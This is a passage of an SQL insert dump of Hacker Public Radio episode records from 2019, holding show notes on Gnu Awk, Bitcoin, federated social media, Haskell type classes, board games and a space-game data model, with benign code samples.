(2852,'2019-07-09','Gnu Awk - Part 16',2564,'Winding up the Gnu Awk series','<h2 id=\"introduction\">Introduction</h2>\r\n<p>This is the sixteenth and final episode of the <code>\'</code><a href=\"https://hackerpublicradio.org/series.php?id=94\" title=\"Learning Awk\">Learning Awk</a><code>\'</code> series which is being produced by <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=300\" title=\"b-yeezi\">b-yeezi</a> (BY) and <a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" title=\"Dave Morriss\">Dave Morriss</a> (DM).</p>\r\n<p>We are using this as an opportunity to have a round-table discussion about the series, about Awk, and where we recommend the listeners should go from here. Including this one we have produced 16 episodes covering the features most likely to be used in pipelines on the command line or in simple shell and awk scripts.</p>\r\n<p><small> Note that although the HPR site will list this episode as having a single host, in fact it has two! Plans are afoot to enhance the HPR database so we can eventually indicate this properly. </small></p>\r\n<h2 id=\"topics-discussed\">Topics Discussed</h2>\r\n<ul>\r\n<li>The series\r\n<ul>\r\n<li>Started in 2016 (first show released 2016-07-13)</li>\r\n<li>Finishing in 2019</li>\r\n<li>16 episodes in total</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Why are we finishing the series?\r\n<ul>\r\n<li>We have probably reached the limit of what is useful on the command line or in shell scripts or even in manageable-sized Awk scripts</li>\r\n<li>Awk shows its limitations as we go on and doesn’t compare well with more modern text processing languages</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>Our personal experiences with Awk\r\n<ul>\r\n<li>BY:\r\n<ul>\r\n<li>Started with sed and awk when first moving to Linux in 2011</li>\r\n<li>(ongoing) Exploring and cleaning client data</li>\r\n<li>(ongoing) Personal scripts when adding python or other tool would be overkill</li>\r\n</ul></li>\r\n<li>DM:\r\n<ul>\r\n<li>Working with VAX/VMS in the 1980’s. No very good text processing features built-in, so Gnu Awk (and sed) was a great way to handle the data we were using to generate accounts for new students each year. Could easily spot bad records, do some data validation (for example impossible dates of birth).</li>\r\n<li>Later in the late 1980’s and early 1990’s more Unix systems came on the scene running HP-UX, Ultrix, SunOS, Solaris, OSF/1, True64 Unix, and awk was very much used there.</li>\r\n<li>Later still we moved to Linux; initially Fedora but later RHEL, and of course awk figured in the list of tools there as well.</li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>What have we left out? Why?\r\n<ul>\r\n<li>User-defined functions are pretty clunky and hard to use</li>\r\n<li>Multi-dimensional arrays: other languages do this better</li>\r\n<li>Internationalization: assumes you’re writing <em>big</em> awk programs</li>\r\n<li>The <code>gawk</code> debugger: quite clever but probably overkill for this series</li>\r\n<li>Extensions written in C and C++: some come with <code>gawk</code> and look quite good, but this subject is out of scope</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>What to use as an alternative to Awk?\r\n<ul>\r\n<li>DM moved from <code>gawk</code> to Perl (version 4) in the 1980’s and later to Perl version 5. This might have engendered an <em>awk</em>y, <em>Bash</em>y mindset that’s hard to shake off. Not the recommended place to start these days.</li>\r\n<li>BY moved from <code>gawk</code> to Python and R for large projects. For interactive <em>Bash</em>y exploration, moved to <a href=\"https://github.com/BurntSushi/xsv\" title=\"XSV\">XSV</a>, <a href=\"https://harelba.github.io/q/\" title=\"q to run SQL on csv files\">q</a>, and <a href=\"https://csvkit.readthedocs.io/en/latest/\" title=\"CSV Kit\">csv-kit</a> for most use cases.</li>\r\n<li>These tools have built-in convenience features, like accounting for headers, data types, and file encodings</li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li>What’s next?\r\n<ul>\r\n<li>It is planned to turn the notes for this series into a combined document which will be available on the HPR site and on archive.org. There is no timescale for this at the moment</li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/html_node/index.html\"><em>GNU Awk User’s Guide</em></a>\r\n<ul>\r\n<li><a href=\"https://www.gnu.org/software/gawk/manual/gawk.html#Internationalization\"><em>Internationalization with gawk</em></a></li>\r\n</ul></li>\r\n</ul>\r\n<ul>\r\n<li><a href=\"https://catonmat.net/proof-that-sed-is-turing-complete\"><em>A proof that Unix utility sed is Turing complete</em></a></li>\r\n<li><a href=\"https://mutagen.readthedocs.io/en/latest/\"><em>Mutagen</em></a> - discussed as an alternative way to access audio metadata (<em>tags</em>) from Python</li>\r\n<li><a href=\"https://github.com/BurntSushi/xsv\"><em>XSV</em></a></li>\r\n<li><a href=\"https://csvkit.readthedocs.io/en/latest/\"><em>csvkit</em></a></li>\r\n<li><a href=\"https://harelba.github.io/q/\"><em>Run SQL on CSV files with <b>q</b></em></a></li>\r\n</ul>\r\n<ul>\r\n<li>Links to all of the shows in this series on HPR:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2114\"><em>Gnu Awk - Part 1</em></a> - episode 2114</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2129\"><em>Gnu Awk - Part 2</em></a> - episode 2129</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2143\"><em>Gnu Awk - Part 3</em></a> - episode 2143</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2163\"><em>Gnu Awk - Part 4</em></a> - episode 2163</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2184\"><em>Gnu Awk - Part 5</em></a> - episode 2184</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2238\"><em>Gnu Awk - Part 6</em></a> - episode 2238</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2330\"><em>Gnu Awk - Part 7</em></a> - episode 2330</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2438\"><em>Gnu Awk - Part 8</em></a> - episode 2438</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2476\"><em>Gnu Awk - Part 9</em></a> - episode 2476</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2526\"><em>Gnu Awk - Part 10</em></a> - episode 2526</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2554\"><em>Gnu Awk - Part 11</em></a> - episode 2554</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2610\"><em>Gnu Awk - Part 12</em></a> - episode 2610</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2804\"><em>Gnu Awk - Part 13</em></a> - episode 2804</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2816\"><em>Gnu Awk - Part 14</em></a> - episode 2816</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2824\"><em>Gnu Awk - Part 15</em></a> - episode 2824</li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2852\"><em>Gnu Awk - Part 16</em></a> - episode 2852</li>\r\n</ul></li>\r\n</ul>\r\n',225,94,1,'CC-BY-SA','Gnu Awk, advanced features',0,0,1),
(2854,'2019-07-11','Telling myself something In The Morning',374,'There was a need for some software, so I wrote some','<ul>\r\n<li>Source for In The Morning: <a href=\"https://gitlab.com/jezra/in-the-morning\" class=\"uri\">https://gitlab.com/jezra/in-the-morning</a></li>\r\n<li>Bottle Framework: <a href=\"https://bottlepy.org\" class=\"uri\">https://bottlepy.org</a></li>\r\n</ul>',243,25,0,'CC-BY-SA','python, programming',0,0,1),
(2857,'2019-07-16','Creating CounterParty Collectible Tokens for the Bitcorn Game',995,'How to create Bitcorn collectibles: tokens issued on Bitcoin blockchain, used in Bitcorn Farms game','<p>Bitcorn is an idle farming game created with and played using Bitcoin tokens using the CounterParty protocol. I’ll walk you through how it all works, how to get started and what all that means.</p>\r\n<p>In this episode we’ll walk through the basics of creating and submitting a Bitcorn collectible card to be included in the game, along with setting up a wallet so you can buy and sell them.</p>\r\n',379,110,0,'CC-BY-SA','bitcorn, bitcoin, collectibles',0,0,1),
(2862,'2019-07-23','Art vs. Commerce In Storytelling',830,'Lostnbronx examines stories as both art and products.','<p>In this final episode of \"Random Elements of Storytelling\", Lostnbronx looks at the question of art vs. commerce.</p>\r\n<p>When is a story a product? When is it a work of passion? Can it be both? In a era of interactive storytelling, what is the difference between a story teller and an audience? And where do art, commerce, creativity, and consumption intersect?</p>\r\n<p>Lostnbronx wanders over hill and dale, and likely fails to adequately explain anything at all.</p>\r\n',107,105,0,'CC-BY-SA','stories, storytelling, art, commerce, lostnbronx',0,0,1),
(2900,'2019-09-13','Better Social Media 01 - Introduction',711,'We don\'t have to use Twitter and Facebook. There are alternatives.','<p>While many people like to use social media, platforms like Twitter and Facebook are very unsatisfying, not to mention inimical to your security and privacy. Fortunately there are alternatives we can try, and in this series I want to explore a few of them. <a href=\"https://www.zwilnik.com/?page_id=1025\" class=\"uri\">https://www.zwilnik.com/?page_id=1025</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://elplatt.com/\" class=\"uri\">https://elplatt.com/</a></li>\r\n<li><a href=\"https://litmus.com/blog/email-client-market-share-trends-first-half-of-2018\" class=\"uri\">https://litmus.com/blog/email-client-market-share-trends-first-half-of-2018</a></li>\r\n<li><a href=\"https://www.amazon.com/dp/B07H7G7CMN/ref=dp-kindle-redirect?_encoding=UTF8&amp;btkr=1\" class=\"uri\">https://www.amazon.com/dp/B07H7G7CMN/ref=dp-kindle-redirect?_encoding=UTF8&amp;btkr=1</a></li>\r\n<li><a href=\"https://mewe.com/\" class=\"uri\">https://mewe.com/</a></li>\r\n<li><a href=\"https://ello.co/\" class=\"uri\">https://ello.co/</a></li>\r\n<li><a href=\"https://diasporafoundation.org/\" class=\"uri\">https://diasporafoundation.org/</a></li>\r\n<li><a href=\"https://pluspora.com/\" class=\"uri\">https://pluspora.com/</a></li>\r\n<li><a href=\"https://www.bitchute.com/\" class=\"uri\">https://www.bitchute.com/</a></li>\r\n<li><a href=\"https://joinmastodon.org/\" class=\"uri\">https://joinmastodon.org/</a></li>\r\n<li><a href=\"https://textile.photos/\" class=\"uri\">https://textile.photos/</a></li>\r\n<li><a href=\"https://pixelfed.org/\" class=\"uri\">https://pixelfed.org/</a></li>\r\n<li><a href=\"https://www.wire.com/\" class=\"uri\">https://www.wire.com/</a></li>\r\n<li><a href=\"https://www.signal.org/\" class=\"uri\">https://www.signal.org/</a></li>\r\n<li><a href=\"https://gnu.io/social/\" class=\"uri\">https://gnu.io/social/</a></li>\r\n<li><a href=\"https://www.scuttlebutt.nz/\" class=\"uri\">https://www.scuttlebutt.nz/</a></li>\r\n<li><a href=\"https://mediagoblin.org/\" class=\"uri\">https://mediagoblin.org/</a></li>\r\n<li><a href=\"https://freenetproject.org/author/freenet-project-inc.html\" class=\"uri\">https://freenetproject.org/author/freenet-project-inc.html</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1025\" class=\"uri\">https://www.zwilnik.com/?page_id=1025</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','Fediverse, social media, federated',0,0,1),
(2910,'2019-09-27','Better Social Media 02 - Pluspora',582,'Pluspora was advertised as the federated alternative to Google Plus.','<p>Pluspora is an instance of the Diaspora software that was specifically designed to appeal to users of Google Plus. So when Google Plus disappeared, many people moved over to this platform. <a href=\"https://www.zwilnik.com/?page_id=1027\" class=\"uri\">https://www.zwilnik.com/?page_id=1027</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://pluspora.com/\" class=\"uri\">https://pluspora.com/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\" class=\"uri\">https://en.wikipedia.org/wiki/GNU_General_Public_License</a></li>\r\n<li><a href=\"https://diasporafoundation.org/formatting\" class=\"uri\">https://diasporafoundation.org/formatting</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Markdown\" class=\"uri\">https://en.wikipedia.org/wiki/Markdown</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1027\" class=\"uri\">https://www.zwilnik.com/?page_id=1027</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','Fediverse, social media, federated',0,0,1),
(2920,'2019-10-11','Better Social Media 03 - MeWe',729,'MeWe was advertised as another popular alternative to Google Plus.','<p>MeWe is another platform that was advertised to users left high-and-dry by the closure of Google Plus. It is not federated, but does make strong claims of privacy protection, and is the slickest alternative I have seen to Google Plus. So when Google Plus disappeared, many people moved over to this platform. <a href=\"https://www.zwilnik.com/?page_id=1030\" class=\"uri\">https://www.zwilnik.com/?page_id=1030</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://mewe.com/\" class=\"uri\">https://mewe.com/</a></li>\r\n<li><a href=\"https://mewepro.com/\" class=\"uri\">https://mewepro.com/</a></li>\r\n<li><a href=\"https://mewe.com/store\" class=\"uri\">https://mewe.com/store</a></li>\r\n<li><a href=\"https://mewe.com/#\" class=\"uri\">https://mewe.com/#</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1030\" class=\"uri\">https://www.zwilnik.com/?page_id=1030</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','social media, alternative',0,0,1),
(2930,'2019-10-25','Better Social Media 04 - Diaspora',886,'Diaspora was the original alternative platform when it went up against Facebook.','<p>I don’t know if Diaspora was the first of the alternatives to come along, but it was certainly the first I was aware of. It got a lot of attention for the college students who first put it together (and remember that Facebook was originally created by a college student, Mark Zuckerberg). The four students, Ilya Zhitomirskiy, Dan Grippi, Max Salzberg, and Raphael Sofaer, were inspired by a speech Eben Moglen gave to the Internet society’s New York Chapter, where he described centralized social networks as “Spying for free”. The students chose the name Diaspora, which is a Greek word that means a “scattered or dispersed population” to reflect the idea that instead of a centralized platform, Diaspora would consist of independent nodes, called pods, each running a copy of the free software which is open source and licensed under the GNU-AGPL-3.0 license. <a href=\"https://www.zwilnik.com/?page_id=1032\" class=\"uri\">https://www.zwilnik.com/?page_id=1032</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://diasporafoundation.org/\" class=\"uri\">https://diasporafoundation.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/GNU_General_Public_License\" class=\"uri\">https://en.wikipedia.org/wiki/GNU_General_Public_License</a></li>\r\n<li><a href=\"https://softwarefreedom.org/\" class=\"uri\">https://softwarefreedom.org/</a></li>\r\n<li><a href=\"https://web.archive.org/web/20111002003516/https://blog.diasporafoundation.org/2011/09/21/diaspora-means-a-brighter-future-for-all-of-us.html\" class=\"uri\">https://web.archive.org/web/20111002003516/https://blog.diasporafoundation.org/2011/09/21/diaspora-means-a-brighter-future-for-all-of-us.html</a></li>\r\n<li><a href=\"https://podupti.me/\" class=\"uri\">https://podupti.me/</a></li>\r\n<li><a href=\"mailto:ahuka@pod.haxxors.com\">ahuka@pod.haxxors.com</a></li>\r\n<li><a href=\"https://pod.haxxors.com/i/394c80269066\" class=\"uri\">https://pod.haxxors.com/i/394c80269066</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1032\" class=\"uri\">https://www.zwilnik.com/?page_id=1032</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','social media, alternative, federated, Fediverse',0,0,1),
(2940,'2019-11-08','Better Social Media 05 - Mastodon',778,'Mastodon is the federated alternative to Twitter.','<p>As mentioned earlier, Diaspora was one of the earliest alternative, privacy-respecting social media platforms, but it was focused on being an alternative to Facebook (and it has done this fairly well). But that leaves the other big platform of the social world, Twitter. Mastodon is a nice federated alternative to Twitter and a nicer place to be. <a href=\"https://www.zwilnik.com/?page_id=1034\" class=\"uri\">https://www.zwilnik.com/?page_id=1034</a></p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://joinmastodon.org/\" class=\"uri\">https://joinmastodon.org/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Identi.ca\" class=\"uri\">https://en.wikipedia.org/wiki/Identi.ca</a></li>\r\n<li><a href=\"https://pump.io/\" class=\"uri\">https://pump.io/</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Gamergate_controversy\" class=\"uri\">https://en.wikipedia.org/wiki/Gamergate_controversy</a></li>\r\n<li><a href=\"https://blog.joinmastodon.org/2018/07/cage-the-mastodon/\" class=\"uri\">https://blog.joinmastodon.org/2018/07/cage-the-mastodon/</a></li>\r\n<li><a href=\"https://mastodon.social/about/more\" class=\"uri\">https://mastodon.social/about/more</a></li>\r\n<li><a href=\"https://instances.noct.zone/\" class=\"uri\">https://instances.noct.zone/</a></li>\r\n<li><a href=\"https://instances.social/list#lang=&amp;allowed=&amp;prohibited=&amp;users=\" class=\"uri\">https://instances.social/list#lang=&amp;allowed=&amp;prohibited=&amp;users=</a></li>\r\n<li><a href=\"https://mwl.io/\" class=\"uri\">https://mwl.io/</a></li>\r\n<li><a href=\"https://github.com/tootsuite/documentation/blob/master/Using-Mastodon/Apps.md\" class=\"uri\">https://github.com/tootsuite/documentation/blob/master/Using-Mastodon/Apps.md</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1034\" class=\"uri\">https://www.zwilnik.com/?page_id=1034</a></li>\r\n</ul>\r\n',198,108,0,'CC-BY-SA','Fediverse, social media, federated, alternative',0,0,1),
(2863,'2019-07-24','Simplified application architectures for improved security',955,'A thought experiment in whether reducing runtime dependencies can improve security and how to do it.','<p>Before the days of the PC, application architectures were often very simple - being little more than the executable itself and any input files. The constraints of the early PC’s very limited resources required new architectures to make the most of those resources.</p>\r\n<p>We now have a situation where most applications either install, or require the presence of, multiple runtime dependencies. Each dependency has an interface which allows communication between itself and the application, but every interface presents an attack surface with the potential to be exploited by a malicious 3rd party.</p>\r\n<p>Modern computers do not have those same resource constraints yet we are still developing applications using the principles that applied 3 decades ago.</p>\r\n<p>Re-usable functionality can be internalised through static linking at compile-time or by code inclusion (along the lines of a .h file in C/C++)</p>\r\n<p>To change from using tried and tested methods is never convenient, but with concern for cyber security high and rising, has the time come to exchange convenience for simpler application architectures that should reduce vulnerabilities?</p>\r\n<p>…And may a move to new (or is it old) architectures deliver a big win for open source software?</p>\r\n',246,0,0,'CC-BY-SA','Application development, Application architecture, Security',0,0,1),
(2864,'2019-07-25','One weird trick to add a --help option to your awk scripts',1213,'Klaatu demonstrates two ways to add a --help message to your awk scripts','<p>\r\nThe first method is in Awk itself.\r\n</p>\r\n\r\n<pre><code>\r\n#!/usr/bin/awk -f\r\n#\r\n# USAGE EXAMPLE:\r\n# echo the input of some var\r\n# $ foo -v var=8\r\n#\r\n\r\nBEGIN {\r\n    if (length(var) == 0) {\r\n        printf \"%s %s\\n\", ENVIRON[\"_\"], \"is a proof-of-concept help message\";\r\n        printf \"%s\\n\", \"Usage:\";\r\n        printf \"%s\\n\", \"------\";\r\n        printf \"%s %s %s\\n\", \"$\", ENVIRON[\"_\"], \"-v var=NUM\";\r\n        printf \"%s\\n\", \"substitute NUM with the number you want echoed\";\r\n        exit\r\n    }\r\n    else {\r\n        printf \"%s %s\\n\", \"You have entered \", var;\r\n    }\r\n}\r\n</code></pre>\r\n\r\n<p>\r\nThe disadvantage to this is that it only provides a help message if no option is provided. If you actually type <code>--help</code>, then you get Awk\'s help message, which is not useful in this context.\r\n</p>\r\n\r\n<p>\r\nThe shell script wrapper method uses the shell to parse options, which are then passed to an embedded Awk script:\r\n</p>\r\n\r\n<pre><code>\r\n#!/bin/sh\r\n\r\nif [ \"${1}\" = \"--help\" -o \"${1}\" = \"-h\" -o \"${1}\" = \"\" ]; then\r\n    echo \"This is a help message.\"\r\n    exit\r\nfi\r\n\r\n/usr/bin/awk -v var=\"${1}\" \'\r\n\r\nBEGIN {\r\nprintf \"%s %s\\n\", \"You provided\", var;\r\n}\'\r\n</code></pre>\r\n</p>\r\n\r\n<p>\r\nThe disadvantage here is only that you\'re not just writing an Awk script, you\'re writing a shell script with embedded Awk. I can\'t think of a reason not to do it this way (even though in the script that served as the inspiration for this episode, I don\'t use this method).\r\n</p>\r\n\r\n',78,94,0,'CC-BY-SA','awk,option,help,arg',0,0,1),
(2866,'2019-07-29','Intro to Bitcoin for techies',1915,'Survey of Bitcoin: blockchains, blocks, transactions, miners, PoW, hashing, addresses, wallets','<p>This is a broad introduction to Bitcoin from a technical perspective. We do not talk about finance or economics, and we don’t compare distributed ledger technologies. We’re not addressing exchanges, layer 2 technologies, mainstream adoption, etc.</p>\r\n<p>We’re also going to avoid going deep into forks, fungibility, mining or the math of Bitcoin.</p>\r\n<p>In this episode we introduce these fundamental Bitcoin topics:</p>\r\n<ul>\r\n<li>What is Bitcoin?</li>\r\n<li>Blockchains and blocks</li>\r\n<li>What are transactions?</li>\r\n<li>What are miners and what do they do?</li>\r\n<li>Proof of Work in Bitcoin - SHA256 hashing</li>\r\n<li>Bitcoin consensus mechanism</li>\r\n<li>How do wallets work?</li>\r\n<li>Brief discussion about various types of wallets and wallet security</li>\r\n</ul>\r\n<p>I hope this is accessible and informative and look forward to doing more in the future.</p>',379,110,0,'CC-BY-SA','bitcoin, blockchain, cryptocurrency',0,0,1),
(2873,'2019-08-07','Death Angel - Card game',1045,'Short description of Death Angel card game','<p>For more information, have a look at BoardGameGeek: <a href=\"https://boardgamegeek.com/boardgame/71721/space-hulk-death-angel-card-game\" class=\"uri\">https://boardgamegeek.com/boardgame/71721/space-hulk-death-angel-card-game</a></p>\r\n',364,95,0,'CC-BY-SA','cardgame',0,0,1),
(2878,'2019-08-14','Type classes in Haskell',1168,'tuturto explains what type classes are and how to use them','<h2 id=\"background\">Background</h2>\r\n<p>Type classes are Haskell’s way of doing ad hoc polymorphics or overloading. They are used to defined set of functions that can operate more than one specific type of data.</p>\r\n<h2 id=\"equality\">Equality</h2>\r\n<p>In Haskell there’s no default equality, it has to be defined.</p>\r\n<p>There’s two parts to the puzzle. First is type class <code>Eq</code> that comes with the standard library and defines function signatures for equality and non-equality comparisons. There’s type parameter <code>a</code> in the definition, which is filled by user when they define instance of <code>Eq</code> for their data. In that instance definition, <code>a</code> is filled with concrete type.</p>\r\n<pre><code>class  Eq a where\r\n  (==) :: a -&gt; a -&gt; Bool\r\n  (/=) :: a -&gt; a -&gt; Bool\r\n\r\n  x /= y = not (x == y)</code></pre>\r\n<p>Definition above can be read as “class Eq a that has two functions with following signatures and implementations”. In other words, given two <code>a</code>, this function determines are they equal or not (thus <code>Bool</code> as return type). <code>/=</code> is defined in terms of <code>==</code>, so it’s enough to define one and you get other one for free. But you can still define both if you’re so included (maybe some optimization case).</p>\r\n<p>If we define our own <code>Size</code> type, like below, we can compare sizes:</p>\r\n<pre><code>data Size = Small | Medium | Large\r\n    deriving (Show, Read)\r\n\r\ninstance Eq Size where\r\n    Small == Small = True\r\n    Medium == Medium = True\r\n    Large == Large = True\r\n    _ == _ = False</code></pre>\r\n<p>And here’s couple example comparisons.</p>\r\n<pre><code>&gt; Small == Small\r\nTrue\r\n&gt; Large /= Large\r\nFalse</code></pre>\r\n<p>Writing these by hand is both tedious and error prone, so we usually use automatic derivation for them. Note how the second line now reads <code>deriving (Show, Read, Eq)</code>.</p>\r\n<pre><code>data Size = Small | Medium | Large\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<h2 id=\"hierarchy-between-type-classes\">Hierarchy between type classes</h2>\r\n<p>There can be hierarchy between type classes, meaning one requires presence of another. Common example is <code>Ord</code>, which is used to order data.</p>\r\n<pre><code>class Eq a =&gt; Ord a where\r\n    compare :: a -&gt; a -&gt; Ordering\r\n    (&lt;) :: a -&gt; a -&gt; Bool\r\n    (&gt;=) :: a -&gt; a -&gt; Bool\r\n    (&gt;) :: a -&gt; a -&gt; Bool\r\n    (&lt;=) :: a -&gt; a -&gt; Bool\r\n    max :: a -&gt; a -&gt; a\r\n    min :: a -&gt; a -&gt; a</code></pre>\r\n<p>This definition can be read as “class Ord a, where a has instance of Eq, with pile of functions as follows”. <code>Ord</code> has default implementation for quite many of these, in terms of others, so it’s enough to implement either <code>compare</code> or <code>&lt;=</code>.</p>\r\n<p>For our <code>Size</code>, instance of <code>Ord</code> could be defined as:</p>\r\n<pre><code>instance Ord Size where\r\n    Small &lt;= _ = True\r\n    Medium &lt;= Small = False\r\n    Medium &lt;= _ = True\r\n    Large &lt;= Large = True\r\n    Large &lt;= _ = False</code></pre>\r\n<h2 id=\"writing-generic-code\">Writing generic code</h2>\r\n<p>There’s lots and lots of type classes in standard library:</p>\r\n<ul>\r\n<li><code>Num</code> for numeric operations</li>\r\n<li><code>Integral</code> for integer numbers</li>\r\n<li><code>Floating</code> for floating numbers</li>\r\n<li><code>Show</code> for turning data into strings</li>\r\n<li><code>Read</code> for turning strings to data</li>\r\n<li><code>Enum</code> for sequentially ordered types (these can be enumerated)</li>\r\n<li><code>Bounded</code> for things with upper and lower bound</li>\r\n<li>and so on…</li>\r\n</ul>\r\n<p>Type classes allow you to write really generic code. Following is contrived example using <code>Ord</code> and <code>Show</code>:</p>\r\n<pre><code>check :: (Ord a, Show a) =&gt; a -&gt; a -&gt; String\r\ncheck a b =\r\n    case compare a b of\r\n        LT -&gt;\r\n            show a ++ &quot; is smaller than &quot; ++ show b\r\n        GT -&gt;\r\n            show a ++ &quot; is greater than &quot; ++ show b\r\n        EQ -&gt;\r\n            show a ++ &quot; and &quot; ++ show b ++ &quot; are equal&quot;</code></pre>\r\n<p>Check takes two parameters that are same type and that type has to have <code>Ord</code> and <code>Show</code> instances. <code>Ord</code> is for ordering and <code>Show</code> is for turning data into string (handy for displaying it). The end result is string telling result of comparison. Below is some examples of usage. Note how our function can handle different types of data: <code>Size</code>, <code>Int</code> and <code>[Int]</code>.</p>\r\n<pre><code>&gt; check Medium Small\r\n&quot;Medium is greater than Small&quot;\r\n&gt; check Small Large\r\n&quot;Small is smaller than Large&quot;\r\n&gt; check 7 3\r\n&quot;7 is greater than 3&quot;\r\n&gt; check [1, 2] [1, 1, 1]\r\n&quot;[1, 2] is greater than [1, 1, 1]&quot;</code></pre>\r\n<p>There are many extensions to type classes that add more behaviour. These aren’t part of standard Haskell, but can be enabled with a pragma definition or compiler flag. They can be somewhat more complicated to use, have special cases that need careful consideration, but offer interesting options.</p>\r\n<h2 id=\"in-closing\">In closing</h2>\r\n<p>Thank you for listening. Question, comments and feedback welcome. Best way to catch me nowadays is either by email or in fediverse, where I’m <code>tuturto@mastodon.social</code>.</p>\r\n',364,107,0,'CC-BY-SA','type class',0,0,1),
(2883,'2019-08-21','Pass the pigs',318,'tuturto talks about their childhood game pass the pigs','<p>For more information, have a look at <a href=\"https://boardgamegeek.com/boardgame/2593/pass-pigs\" class=\"uri\">https://boardgamegeek.com/boardgame/2593/pass-pigs</a></p>\r\n',364,95,0,'CC-BY-SA','dice game',0,0,1),
(2950,'2019-11-22','NotPetya and Maersk: An Object Lesson',861,'Looking at an object lesson for proper IT management processes and the cost of failure','<p>We previously looked at the NIST Security Framework, which lays out how organizations should manage their network security. That may have seemed a bit dry, so let’s look at this case study to put some flesh on those dry bones. Failing to manage your security risks properly can have significant consequences.</p>\r\n<h2 id=\"links\">Links:</h2>\r\n<ul>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=997\" class=\"uri\">https://www.zwilnik.com/?page_id=997</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2850\" class=\"uri\">https://hackerpublicradio.org/eps.php?id=2850</a></li>\r\n<li><a href=\"https://www.zwilnik.com/?page_id=1045\" class=\"uri\">https://www.zwilnik.com/?page_id=1045</a></li>\r\n</ul>\r\n',198,74,0,'CC-BY-SA','IT Management, Security',0,0,1),
(2898,'2019-09-11','Modeling people in space game',1315,'tuturto talks how they approach modeling people in space game','<p>People are what makes dynasty simulators interesting and this episode will be about them. There isn’t much code this time, mainly just how data is organized. Topic is long and split over several episodes.</p>\r\n<p>Some people in game are controlled by computer, while some are controlled by player. There’s no difference on what each can do in game, computer is basically just filling in for players when there aren’t enough players.</p>\r\n<p>There’s plenty of data about people, spread over several entities and database tables. Main one is <code>Person</code>, which stores name, gender, sex, date of birth and some stats (and then some more).</p>\r\n<p>There are lots of various ways of naming people and I chose to model three for the starters:</p>\r\n<pre><code>data PersonName =\r\n    RegularName FirstName FamilyName (Maybe Cognomen)\r\n    | SimpleName FirstName (Maybe Cognomen)\r\n    | RegalName FirstName FamilyName RegnalNumber (Maybe Cognomen)\r\n    deriving (Show, Read, Eq)</code></pre>\r\n<p>The higher the rank, more complicated names you tend to have (for some reason). Later on I’ll try and see if I can add more varied names, like matronyms and patronyms.</p>\r\n<p>Sex and gender I’m modeling with simple system of two enumerations, sex can be <code>Female</code>, <code>Male</code> or <code>Intersex</code>, while gender has values <code>Man</code>, <code>Woman</code>, <code>Agender</code> and <code>Nonbinary</code>. System is coarse, but should be enough to get started with the game. Later on, this can be expanded to more nuanced system.</p>\r\n<p>Traits are defining features of people. These include things like brave, coward, ambitious, content, honest and such. Values are binary, character either is brave or not. And character can’t be brave and coward at the same time.</p>\r\n<p>Relations are modeled as <code>PersonRelation</code> and thus stored in <code>person_relation</code> table:</p>\r\n<pre><code>Relation json\r\n    originatorId PersonId\r\n    targetId PersonId\r\n    type RelationType\r\n    visibility RelationVisibility\r\n    deriving Show Read Eq</code></pre>\r\n<p>I find this corner of the puzzle particular interesting. This models who is parent or child, who is friend or rival. Interconnected web created by relations isn’t completely visible to players (or any other person in game). Relations have visibility, modeled as <code>RelationVisibility</code>, which tells how visible it is. Public ones are known by everyone, family relations are limited to small group of people and secret relations are only known by those who are in the fold. One aspect of the game is acquiring this information.</p>\r\n<p>Intel is modeled as <code>HumanIntelligence</code> and stored in <code>human_intelligence</code> table:</p>\r\n<pre><code>HumanIntelligence json\r\n    personId PersonId\r\n    ownerId PersonId\r\n    level PersonIntel\r\n    deriving Show Read 